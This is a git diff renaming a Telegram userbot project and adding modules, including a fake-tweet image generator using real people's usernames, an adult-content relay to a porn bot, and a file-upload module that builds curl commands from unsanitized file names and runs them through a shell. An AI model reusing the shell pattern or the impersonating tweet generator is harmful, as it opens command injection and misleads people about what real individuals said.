a/fridaybot/modules/weather.py b/virtualuserbot/modules/weather.py similarity index 96% rename from fridaybot/modules/weather.py rename to virtualuserbot/modules/weather.py index bc4543d4..cb0047f2 100644 --- a/fridaybot/modules/weather.py +++ b/virtualuserbot/modules/weather.py @@ -7,8 +7,8 @@ import aiohttp -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="weathers (.*)")) diff --git a/fridaybot/modules/webshot.py b/virtualuserbot/modules/webshot.py similarity index 95% rename from fridaybot/modules/webshot.py rename to virtualuserbot/modules/webshot.py index 0922d87e..8333a4d5 100644 --- a/fridaybot/modules/webshot.py +++ b/virtualuserbot/modules/webshot.py @@ -6,8 +6,8 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("screencapture (.*)")) diff --git a/fridaybot/modules/webtools.py b/virtualuserbot/modules/webtools.py similarity index 87% rename from fridaybot/modules/webtools.py rename to virtualuserbot/modules/webtools.py index 53a333dd..ab23d69f 100644 --- a/fridaybot/modules/webtools.py +++ b/virtualuserbot/modules/webtools.py @@ -5,8 +5,9 @@ from selenium import webdriver from youtube_search import YoutubeSearch -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.function import apk_dl +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="wshot ?(.*)")) @@ -24,10 +25,22 @@ async def _(event): await borg.send_file( event.chat_id, file=imgpath, - caption=f"**WEBSHOT OF** `{urlissed}` \n**Powered By @Fridayot**", + caption=f"**WEBSHOT OF** `{urlissed}` \n**Powered By @VirtualUserbot\nThanks to @FridayOT**", ) +@friday.on(friday_on_cmd(pattern="rmeme$")) +@friday.on(sudo_cmd(pattern="rmeme$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + await event.delete() + hmm_s = "https://some-random-api.ml/meme" + r = requests.get(url=hmm_s).json() + image_s = r["image"] + await borg.send_file(event.chat_id, file=image_s, caption=r["caption"]) + + @friday.on(friday_on_cmd(pattern="lp ?(.*)")) @friday.on(sudo_cmd(pattern="lp ?(.*)", allow_sudo=True)) async def _(event): @@ -158,6 +171,16 @@ async def _(event): await event.edit("Some Thing Went Wrong.") +@friday.on(friday_on_cmd(pattern="akd ?(.*)")) +@friday.on(sudo_cmd(pattern="akd ?(.*)", allow_sudo=True)) +async def _(event): + akkad = event.pattern_match.group(1) + if event.fwd_from: + return + pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) + await borg.send_file(event.chat_id, pathz, caption="Uploaded By @VirtualUserbot") + + CMD_HELP.update( { "webtools": "**Web Tools**\ diff --git a/fridaybot/modules/webupload.py b/virtualuserbot/modules/webupload.py similarity index 74% rename from fridaybot/modules/webupload.py rename to virtualuserbot/modules/webupload.py index 801f1e2a..486a77aa 100644 --- a/fridaybot/modules/webupload.py +++ b/virtualuserbot/modules/webupload.py @@ -2,16 +2,19 @@ import asyncio import time -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd -@command( - pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles)" +@borg.on( + friday_on_cmd( + pattern="^.webupload ?(.+?|) (?:--)(anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|ninja)" + ) ) async def _(event): if event.fwd_from: return - await event.edit("Processing ...") + await event.edit("`Processing ...`") PROCESS_RUN_TIME = 100 input_str = event.pattern_match.group(1) selected_transfer = event.pattern_match.group(2) @@ -19,20 +22,20 @@ async def _(event): file_name = input_str else: reply = await event.get_reply_message() - file_name = await bot.download_media(reply.media, Var.TEMP_DOWNLOAD_DIRECTORY) - event.message.id + file_name = await borg.download_media(reply.media, Var.TEMP_DOWNLOAD_DIRECTORY) CMD_WEB = { "anonfiles": 'curl -F "file=@{}" https://anonfiles.com/api/upload', "transfer": 'curl --upload-file "{}" https://transfer.sh/{os.path.basename(file_name)}', "filebin": 'curl -X POST --data-binary "@test.png" -H "filename: {}" "https://filebin.net"', "anonymousfiles": 'curl -F file="@{}" https://api.anonymousfiles.io/', "megaupload": 'curl -F "file=@{}" https://megaupload.is/api/upload', + "ninja": "curl -i -F file=@{} https://tmp.ninja/api.php?d=upload-tool", "bayfiles": '.exec curl -F "file=@{}" https://bayfiles.com/api/upload', } try: selected_one = CMD_WEB[selected_transfer].format(file_name) except KeyError: - await event.edit("Invalid selected Transfer") + await event.edit("Invalid selected Transfer. Do .ahelp webupload to Know More.") cmd = selected_one time.time() + PROCESS_RUN_TIME process = await asyncio.create_subprocess_shell( diff --git a/fridaybot/modules/weebify.py b/virtualuserbot/modules/weebify.py similarity index 97% rename from fridaybot/modules/weebify.py rename to virtualuserbot/modules/weebify.py index 2069edd8..b89f11b4 100644 --- a/fridaybot/modules/weebify.py +++ b/virtualuserbot/modules/weebify.py @@ -6,7 +6,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP normiefont = [ "a", diff --git a/fridaybot/modules/welcome.py b/virtualuserbot/modules/welcome.py similarity index 91% rename from fridaybot/modules/welcome.py rename to virtualuserbot/modules/welcome.py index 402fbd74..4d19c55b 100644 --- a/fridaybot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,13 +1,14 @@ from telethon import events from telethon.utils import pack_bot_file_id -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.welcome_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.welcome_sql import ( add_welcome_setting, get_current_welcome_settings, rm_welcome_setting, update_previous_welcome, ) +from virtualuserbot.utils import friday_on_cmd @bot.on(events.ChatAction()) # pylint:disable=E0602 @@ -64,7 +65,7 @@ async def _(event): update_previous_welcome(event.chat_id, current_message.id) -@command(pattern="^.savewelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="savewelcome")) async def _(event): if event.fwd_from: return @@ -79,7 +80,7 @@ async def _(event): await event.edit("Welcome note saved. ") -@command(pattern="^.clearwelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="clearwelcome$")) # pylint:disable=E0602 async def _(event): if event.fwd_from: return @@ -91,7 +92,7 @@ async def _(event): ) -@command(pattern="^.listwelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="listwelcome$")) # pylint:disable=E0602 async def _(event): if event.fwd_from: return diff --git a/virtualuserbot/modules/whois.py b/virtualuserbot/modules/whois.py new file mode 100644 index 00000000..9fd3e91c --- /dev/null +++ b/virtualuserbot/modules/whois.py @@ -0,0 +1,295 @@ +"""Get Telegram User Information +Syntax: .whois @username/userid""" + + +# Copyright (C) 2019 The Raphielscape Company LLC. +# +# Licensed under the Raphielscape Public License, Version 1.c (the "License"); +# you may not use this file except in compliance with the License. +# +# The entire source code is OSSRPL except 'whois' which is MPL +# License: MPL and OSSRPL +""" Userbot module for getiing info about any user on Telegram(including you!). """ + +import html +import os + +from requests import get +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location + +from .. import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from ..utils import admin_cmd, edit_or_reply + + +@borg.on(admin_cmd(pattern="userinfo(?: |$)(.*)")) +async def _(event): + if event.fwd_from: + return + replied_user, error_i_a = await get_full_user(event) + if replied_user is None: + return await edit_or_reply(event, f"`{str(error_i_a)}`") + user_id = replied_user.user.id + # some people have weird HTML in their names + first_name = html.escape(replied_user.user.first_name) + # https://stackoverflow.com/a/5072031/4723940 + # some Deleted Accounts do not have first_name + if first_name is not None: + # some weird people (like me) have more than 4096 characters in their + # names + first_name = first_name.replace("\u2060", "") + # inspired by https://telegram.dog/afsaI181 + common_chats = replied_user.common_chats_count + try: + dc_id, location = get_input_location(replied_user.profile_photo) + except: + dc_id = "Couldn't fetch ViU ID!" + try: + casurl = "https://api.cas.chat/check?user_id={}".format(user_id) + data = get(casurl).json() + except Exception as e: + LOGS.info(e) + data = None + if data: + if data["ok"]: + cas = "**Antispam(CAS) Banned :** `True`" + else: + cas = "**Antispam(CAS) Banned :** `False`" + else: + cas = "**Antispam(CAS) Banned :** `Couldn't Fetch`" + caption = """**Info of [{}](tg://user?id={}): + -🔖ID : **`{}` + **-**👥**Groups in Common : **`{}` + **-**🌏**Data Centre Number : **`{}` + **-**🔏**Restricted by telegram : **`{}` + **-**🦅{} + **-**👮‍♂️{} +""".format( + first_name, + user_id, + user_id, + common_chats, + dc_id, + replied_user.user.restricted, + sw, + cas, + ) + await event.edit(caption) + + +async def get_full_user(event): + input_str = event.pattern_match.group(1) + if input_str: + try: + try: + input_str = int(input_str) + except: + pass + user_object = await event.client.get_entity(input_str) + user_id = user_object.id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user, None + except Exception as e: + return None, e + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + if previous_message.forward: + replied_user = await event.client( + GetFullUserRequest( + previous_message.forward.sender_id + or previous_message.forward.channel_id + ) + ) + return replied_user, None + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) + return replied_user, None + if event.is_private: + try: + user_id = event.chat_id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user, None + except Exception as e: + return None, e + return None, "No input is found" + + +@borg.on(admin_cmd(pattern="whois(?: |$)(.*)")) +async def who(event): + cat = await edit_or_reply( + event, "`Sit tight while I steal some data from This guuyyy...`" + ) + if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(TEMP_DOWNLOAD_DIRECTORY) + replied_user = await get_user(event) + try: + photo, caption = await fetch_info(replied_user, event) + except AttributeError: + await edit_or_reply(event, "`Could not fetch info of that user.`") + return + message_id_to_reply = event.message.reply_to_msg_id + if not message_id_to_reply: + message_id_to_reply = None + try: + await borg.send_file( + event.chat_id, + photo, + caption=caption, + link_preview=False, + force_document=False, + reply_to=message_id_to_reply, + parse_mode="html", + ) + if not photo.startswith("http"): + os.remove(photo) + await cat.delete() + except TypeError: + await cat.edit(caption, parse_mode="html") + + +async def get_user(event): + """Get the user from argument or replied message.""" + if event.reply_to_msg_id and not event.pattern_match.group(1): + previous_message = await event.get_reply_message() + replied_user = await event.client( + GetFullUserRequest(previous_message.sender_id) + ) + else: + user = event.pattern_match.group(1) + if user.isnumeric(): + user = int(user) + if not user: + self_user = await event.client.get_me() + user = self_user.id + if event.message.entities: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + replied_user = await event.client(GetFullUserRequest(user_id)) + return replied_user + try: + user_object = await event.client.get_entity(user) + replied_user = await event.client(GetFullUserRequest(user_object.id)) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return replied_user + + +async def fetch_info(replied_user, event): + """Get details from the User object.""" + replied_user_profile_photos = await event.client( + GetUserPhotosRequest( + user_id=replied_user.user.id, offset=42, max_id=0, limit=80 + ) + ) + replied_user_profile_photos_count = "User haven't set profile pic" + try: + replied_user_profile_photos_count = replied_user_profile_photos.count + except AttributeError: + pass + user_id = replied_user.user.id + first_name = replied_user.user.first_name + last_name = replied_user.user.last_name + try: + dc_id, location = get_input_location(replied_user.profile_photo) + except: + dc_id = "Couldn't fetch ViU ID!" + common_chat = replied_user.common_chats_count + username = replied_user.user.username + user_bio = replied_user.about + is_bot = replied_user.user.bot + restricted = replied_user.user.restricted + verified = replied_user.user.verified + photo = await event.client.download_profile_photo( + user_id, TEMP_DOWNLOAD_DIRECTORY + str(user_id) + ".jpg", download_big=True + ) + first_name = ( + first_name.replace("\u2060", "") + if first_name + else ("This User has no First Name") + ) + last_name = ( + last_name.replace("\u2060", "") if last_name else ("This User has no Last Name") + ) + username = "@{}".format(username) if username else ("This User has no Username") + user_bio = "This User has no About" if not user_bio else user_bio + caption = "USER INFO from VirtualUserbot's database :\n\n" + caption += f"👤First Name: {first_name} {last_name}\n" + caption += f"🤵Username: {username}\n" + caption += f"🔖ID: {user_id}\n" + caption += f"🌏Data Centre ID: {dc_id}\n" + caption += f"🖼Number of Profile Pics: {replied_user_profile_photos_count}\n" + caption += f"🤖Is Bot: {is_bot}\n" + caption += f"🔏Is Restricted: {restricted}\n" + caption += f"🌐Is Verified by Telegram: {verified}\n\n" + caption += f"✍️Bio: \n{user_bio}\n\n" + caption += f"👥Common Chats with this user: {common_chat}\n" + caption += f"🔗Permanent Link To Profile: " + caption += f'{first_name}' + return photo, caption + + +@borg.on(admin_cmd(pattern="link(?: |$)(.*)")) +async def permalink(mention): + """For .link command, generates a link to the user's PM with a custom text.""" + user, custom = await get_user_from_event(mention) + if not user: + return + if custom: + await edit_or_reply(mention, f"[{custom}](tg://user?id={user.id})") + else: + tag = ( + user.first_name.replace("\u2060", "") if user.first_name else user.username + ) + await edit_or_reply(mention, f"[{tag}](tg://user?id={user.id})") + + +async def get_user_from_event(event): + """Get the user from argument or replied message.""" + args = event.pattern_match.group(1).split(":", 1) + extra = None + if event.reply_to_msg_id and not len(args) == 2: + previous_message = await event.get_reply_message() + user_obj = await event.client.get_entity(previous_message.sender_id) + extra = event.pattern_match.group(1) + elif len(args[0]) > 0: + user = args[0] + if len(args) == 2: + extra = args[1] + if user.isnumeric(): + user = int(user) + if not user: + await event.edit("`Pass the user's username, id or reply!`") + return + if event.message.entities: + probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): + user_id = probable_user_mention_entity.user_id + user_obj = await event.client.get_entity(user_id) + return user_obj + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj, extra + + +async def ge(user, event): + if isinstance(user, str): + user = int(user) + try: + user_obj = await event.client.get_entity(user) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + return user_obj + + +CMD_HELP.update( + {"whois": ".whois @username/userid" "\nUsage: Get Telegram User Information. \n\n"} +) diff --git a/fridaybot/modules/wikimedia.py b/virtualuserbot/modules/wikimedia.py similarity index 97% rename from fridaybot/modules/wikimedia.py rename to virtualuserbot/modules/wikimedia.py index 3377efd5..ed251f32 100644 --- a/fridaybot/modules/wikimedia.py +++ b/virtualuserbot/modules/wikimedia.py @@ -3,7 +3,7 @@ import requests from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="wikimedia (.*)")) diff --git a/fridaybot/modules/wikipedia.py b/virtualuserbot/modules/wikipedia.py similarity index 96% rename from fridaybot/modules/wikipedia.py rename to virtualuserbot/modules/wikipedia.py index 27f4f542..37b19bfc 100644 --- a/fridaybot/modules/wikipedia.py +++ b/virtualuserbot/modules/wikipedia.py @@ -6,7 +6,7 @@ import wikipedia from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="wikipedia (.*)")) diff --git a/fridaybot/modules/wtf.py b/virtualuserbot/modules/wtf.py similarity index 89% rename from fridaybot/modules/wtf.py rename to virtualuserbot/modules/wtf.py index 94ad084f..87e0725a 100644 --- a/fridaybot/modules/wtf.py +++ b/virtualuserbot/modules/wtf.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("wtf")) diff --git a/fridaybot/modules/xkcd.py b/virtualuserbot/modules/xkcd.py similarity index 98% rename from fridaybot/modules/xkcd.py rename to virtualuserbot/modules/xkcd.py index 9c50d195..2fdd36b4 100644 --- a/fridaybot/modules/xkcd.py +++ b/virtualuserbot/modules/xkcd.py @@ -5,7 +5,7 @@ import requests from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="xkcd ?(.*)")) diff --git a/virtualuserbot/modules/xnxx.py b/virtualuserbot/modules/xnxx.py new file mode 100644 index 00000000..e931f5ff --- /dev/null +++ b/virtualuserbot/modules/xnxx.py @@ -0,0 +1,89 @@ +# created by Inuka Asith For VirtualUserbot +"""xoxbot: Avaible commands: .xnxx picx les +""" + + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import pro + +from ..utils import admin_cmd + +if pro == "True": + + @borg.on(admin_cmd(pattern="xnxx?(.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message( + chat, "💋2016 Videolar🔞{}".format(input_str) + ) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + @borg.on(admin_cmd(pattern="picx?(.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message( + chat, "♨️Old photo👙{}".format(input_str) + ) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) + + @borg.on(admin_cmd(pattern="les?(.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.get_reply_message() + chat = "@SeXn1bot" + await event.edit("```Checking...```") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=264121194) + ) + await event.client.send_message(chat, "🔞Uz_sex♨️{}".format(input_str)) + response = await response + except YouBlockedUserError: + await event.reply("```Unblock @SeXn1bot```") + return + if response.text.startswith("I can't find that"): + await event.edit("😐") + else: + await event.delete() + await event.client.send_file(event.chat_id, response.message) diff --git a/virtualuserbot/modules/xtools.py b/virtualuserbot/modules/xtools.py new file mode 100644 index 00000000..51a72137 --- /dev/null +++ b/virtualuserbot/modules/xtools.py @@ -0,0 +1,34 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. + +from datetime import datetime + +import requests + +from ..utils import admin_cmd + + +@borg.on(admin_cmd("xtools (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + start = datetime.now() + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + username = previous_message.message + sub_domain = input_str + else: + sub_domain, username = input_str.split("|") + final_url = "https://xtools.wmflabs.org/api/user/simple_editcount/{}.wikipedia.org/{}".format( + sub_domain, username + ) + json_string = requests.get(final_url).json() + result_text = json_string["liveEditCount"] + end = datetime.now() + ms = (end - start).seconds + output_str = "edit count of {} ({}) in {} seconds. \n {}".format( + username, sub_domain, str(ms), result_text + ) + await event.edit(output_str) diff --git a/fridaybot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py similarity index 98% rename from fridaybot/modules/ytdl.py rename to virtualuserbot/modules/ytdl.py index 597432cc..5af00d72 100644 --- a/fridaybot/modules/ytdl.py +++ b/virtualuserbot/modules/ytdl.py @@ -25,7 +25,7 @@ XAttrMetadataError, ) -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP async def progress(current, total, event, start, type_of_ps, file_name=None): @@ -90,7 +90,7 @@ def time_formatter(milliseconds: int) -> str: @friday.on(friday_on_cmd(pattern="yt(a|v) (.*)")) @friday.on(sudo_cmd(pattern="yt(a|v) (.*)", allow_sudo=True)) async def download_video(v_url): - """ For .ytdl command, download media from YouTube and many other sites. """ + """For .ytdl command, download media from YouTube and many other sites.""" url = v_url.pattern_match.group(2) type = v_url.pattern_match.group(1).lower() friday = await edit_or_reply(v_url, "Trying To Download......") diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py new file mode 100644 index 00000000..b38984ac --- /dev/null +++ b/virtualuserbot/modules/ytmusic.py @@ -0,0 +1,191 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import asyncio +import os +import time + +import wget +from telethon.tl.types import DocumentAttributeAudio +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from youtube_dl import YoutubeDL +from youtubesearchpython import SearchVideos + +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.function import progress +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + + +@friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) +@friday.on(sudo_cmd(pattern="ytmusic ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + urlissed = event.pattern_match.group(1) + myself_stark = await edit_or_reply( + event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" + ) + search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) + mi = search.result() + mio = mi["search_result"] + mo = mio[0]["link"] + thum = mio[0]["title"] + fridayz = mio[0]["id"] + thums = mio[0]["channel"] + kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" + await asyncio.sleep(0.6) + if not os.path.isdir("./music/"): + os.makedirs("./music/") + path = Config.TMP_DOWNLOAD_DIRECTORY + url = mo + sedlyf = wget.download(kekme, out=path) + opts = { + "format": "bestaudio", + "addmetadata": True, + "key": "FFmpegMetadata", + "writethumbnail": True, + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "480", + } + ], + "outtmpl": "%(title)s.mp3", + "quiet": True, + "logtostderr": False, + } + try: + with YoutubeDL(opts) as ytdl: + ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + await asyncio.sleep(20) + c_time = time.time() + file_stark = f"{ytdl_data['title']}.mp3" + lol_m = await upload_file( + file_name=file_stark, + client=borg, + file=open(file_stark, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading Your Song!", file_stark) + ), + ) + capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" + await event.delete() + await borg.send_file( + event.chat_id, + lol_m, + force_document=False, + allow_cache=False, + caption=capy, + thumb=sedlyf, + attributes=[ + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + title=str(ytdl_data["title"]), + performer=str(ytdl_data["uploader"]), + ) + ], + supports_streaming=True, + ) + for files in (sedlyf, file_stark): + if files and os.path.exists(files): + os.remove(files) + + +@friday.on(friday_on_cmd(pattern="utubevid ?(.*)")) +@friday.on(sudo_cmd(pattern="utubevid ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + urlissed = event.pattern_match.group(1) + myself_stark = await edit_or_reply( + event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" + ) + search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) + mi = search.result() + mio = mi["search_result"] + mo = mio[0]["link"] + thum = mio[0]["title"] + fridayz = mio[0]["id"] + thums = mio[0]["channel"] + kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" + await asyncio.sleep(0.6) + if not os.path.isdir("./music/"): + os.makedirs("./music/") + path = Config.TMP_DOWNLOAD_DIRECTORY + url = mo + sedlyf = wget.download(kekme, out=path) + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [{"key": "FFmpegVideoConvertor", "preferedformat": "mp4"}], + "outtmpl": "%(title)s.mp4", + "logtostderr": False, + "quiet": True, + } + try: + with YoutubeDL(opts) as ytdl: + ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + c_time = time.time() + file_stark = f"{ytdl_data['title']}.mp4" + lol_m = await upload_file( + file_name=file_stark, + client=borg, + file=open(file_stark, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading Your Video!", file_stark) + ), + ) + capy = f"**Video Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" + await event.delete() + await borg.send_file( + event.chat_id, + lol_m, + force_document=False, + allow_cache=False, + caption=capy, + thumb=sedlyf, + attributes=[ + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + ) + ], + supports_streaming=True, + ) + for files in (sedlyf, file_stark): + if files and os.path.exists(files): + os.remove(files) + + +CMD_HELP.update( + { + "ytmusic": "**Ytmusic**\ +\n\n**Syntax : **`.ytmusic `\ +\n**Usage :** Downloads songs from ytmusic" + } +) diff --git a/virtualuserbot/tweet.py b/virtualuserbot/tweet.py new file mode 100644 index 00000000..05461c53 --- /dev/null +++ b/virtualuserbot/tweet.py @@ -0,0 +1,93 @@ +import requests +from PIL import Image +from validators.url import url + + +async def moditweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=narendramodi" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + + +async def sunnytweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=sunnyleone" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + + +async def johnnytweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=johnnysins" + ).json() + dc = r.get("message") + cobra = url(dc) + if not cobra: + return "check syntax once more" + with open("hehe.png", "wb") as f: + f.write(requests.get(dc).content) + img = Image.open("hehe.png").convert("RGB") + img.save("hehe.webp", "webp") + return "hehe.webp" + + +async def bhautweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=hindustanibhau" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" + + +async def jtweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=the_joker" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" + + +async def miatweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text}&username=miakhalifa" + ).json() + ab = r.get("message") + cd = url(ab) + if not cd: + return "check syntax once more" + with open("hoho.png", "wb") as f: + f.write(requests.get(ab).content) + img = Image.open("hoho.png").convert("RGB") + img.save("hoho.webp", "webp") + return "hoho.webp" diff --git a/fridaybot/utils.py b/virtualuserbot/utils.py similarity index 91% rename from fridaybot/utils.py rename to virtualuserbot/utils.py index ad48b654..e7c6c71c 100644 --- a/fridaybot/utils.py +++ b/virtualuserbot/utils.py @@ -6,16 +6,16 @@ from telethon import events -from fridaybot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot -from fridaybot.Configs import Config -from fridaybot.wraptools import ( +from var import Var +from virtualuserbot import CMD_LIST, LOAD_PLUG, SUDO_LIST, bot +from virtualuserbot.Configs import Config +from virtualuserbot.wraptools import ( am_i_admin, ignore_bot, ignore_fwd, ignore_grp, ignore_pm, ) -from var import Var sedprint = logging.getLogger("PLUGINS") cmdhandler = Config.COMMAND_HAND_LER @@ -98,11 +98,11 @@ def load_module(shortname): import sys from pathlib import Path - import fridaybot.modules - import fridaybot.utils + import virtualuserbot.modules + import virtualuserbot.utils - path = Path(f"fridaybot/modules/{shortname}.py") - name = "fridaybot.modules.{}".format(shortname) + path = Path(f"virtualuserbot/modules/{shortname}.py") + name = "virtualuserbot.modules.{}".format(shortname) spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) @@ -112,11 +112,11 @@ def load_module(shortname): import sys from pathlib import Path - import fridaybot.modules - import fridaybot.utils + import virtualuserbot.modules + import virtualuserbot.utils - path = Path(f"fridaybot/modules/{shortname}.py") - name = 